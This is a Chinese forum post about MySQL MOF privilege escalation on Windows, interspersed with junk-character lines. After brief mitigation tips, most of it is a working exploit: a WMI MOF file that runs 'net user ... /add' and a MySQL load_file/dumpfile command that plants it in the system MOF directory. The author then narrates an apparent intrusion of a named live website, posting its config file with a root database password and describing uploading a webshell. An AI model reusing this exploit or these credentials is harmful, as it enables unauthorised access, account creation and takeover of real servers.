Mysql mof扩展漏洞防范方法
7 l7 `0 \% G( m- [" ]4 Q$ e% D( J$ B& S6 b3 R; k4 z5 F% A# |
网上公开的一些利用代码:( |0 D3 F: P, b/ U! q+ r2 h+ y4 x
a$ h2 G. W) `. ~! `" r
#pragma namespace(“\\\\.\\root\\subscription”)
) [. P; Q0 d! S6 K' L# U
- j' ]4 ^3 U* G4 s6 y+ j, dinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
8 g, ~1 d9 _% I7 g) H' Q' n* X" a. f
5 Q7 ?( |0 k9 Y" }6 g
6 ~; D+ {9 w, Y5 F+ |/ O- n
/ ^" H* J9 N$ q& d# i
( }2 M r/ S G' f) q' k
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;; y- M3 S$ p" P% h2 C' f
从上面代码来看得出解决办法:
, J+ W) E7 r# l( d
/ b6 U, u( m6 J/ p1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
1 B( `3 S$ ^7 {' C
' G5 m4 L, p( Y3 |- j2、禁止使用”WScript.Shel”组件
& @9 i$ H% l+ `1 a3 |. w# I* K! e/ N: D9 _- n! v
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER3 y$ W% x6 ]: p# O& b
; S4 q, _6 g ^3 q8 M当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
0 B! P) u# b* B$ N/ z3 m; R" D! j
, v7 L' j# h- z- a$ }/ j8 c2 y事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
7 \& M2 [- Z$ F5 k" X0 Q9 ^( r; {
9 K1 y! {! y. O但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
. A& y: d2 W( R. t
( z- @$ e! `8 N+ x8 q看懂了后就开始练手吧
1 l6 w9 F0 y% |/ F
' `- l' o+ A8 w1 b. U* Z% thttp://www.webbmw.com/config/config_ucenter.php 一句话 a2 b9 e8 \$ R/ w% [* b- ?
) L2 r4 v$ L0 L i! c0 H
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。/ R2 J J i) R3 c/ i9 R* B; X
$ f! l' Z. p9 N( ]# S于是直接用菜刀开搞' Q) m3 y+ {1 r
+ |( s u( m% ?上马先/ X( ?% o" a5 B' L6 q
6 t! X) }% v; `4 l* H& F# J
既然有了那些账号 之类的 于是我们就执行吧……./ g$ Q" F+ [9 \- i; B2 k$ h7 b
- Y7 R. A! j8 Z0 C
小小的说下
1 k1 L% r0 R/ t2 ]5 w4 f |5 M, q* ?6 f. k! W
在这里第1次执行未成功 原因未知& k2 M" j( t C" Y
+ y1 ^! _( o( H) o1 D6 \我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。2 ^! a9 z9 ^; H6 K4 q! l7 Q8 W0 P' ]
3 j% m+ ]$ K) A+ Q/ d, S0 J) ]
#pragma namespace(“\\\\.\\root\\subscription”)
5 K. g6 P% s$ m+ R1 d& ]; I( u* [
& A/ b* ~& p' Y2 O+ h: T4 N; uinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };+ J* X( F: `# b$ p" u7 h, V" [% e
7 X% b' @- z: k; o) W% B" q6 |9 s5 B
我是将文件放到C:\WINDOWS\temp\1.mof
$ {$ r& o4 C+ w1 u" l X0 N1 U+ m7 V) c% b* x! f1 N
所以我们就改下执行的代码! q i) v0 ?, p& I P/ J
7 o3 d' S; n4 k) x2 s% |
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;- x% ]) U, q- A
/ m& O) M% i& g# E
) d# ^* [0 S( m( E# k
" N, `/ X$ X4 w
但是 你会发现账号还是没有躺在那里。。
" N3 ~! w+ C6 k. w6 H2 e! t4 N" x% @' g4 B5 K8 r/ N
于是我就感觉蛋疼& [; Q5 C; Z- S M
+ J R& ~0 M/ I P# @- t
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
" m9 L; _7 J' y$ G2 o- s$ L
6 }: {2 }' @ a! c- j+ J! ?- b1 S2 K, [6 ?; h- d. R8 p2 m
$ z, K7 o( H6 e) O8 [6 q
但是其他库均不成功…
- y* M! N5 b+ {* C( G. u: ?- i+ R) [
我就很费解呀 到底为什么不成功求大牛解答…
$ t0 p# e% @! S [4 h# l7 N) q5 p1 y1 \8 o
0 D3 C3 L' D% H; {2 Y2 o* A9 X& U5 O; @* o1 q' _
|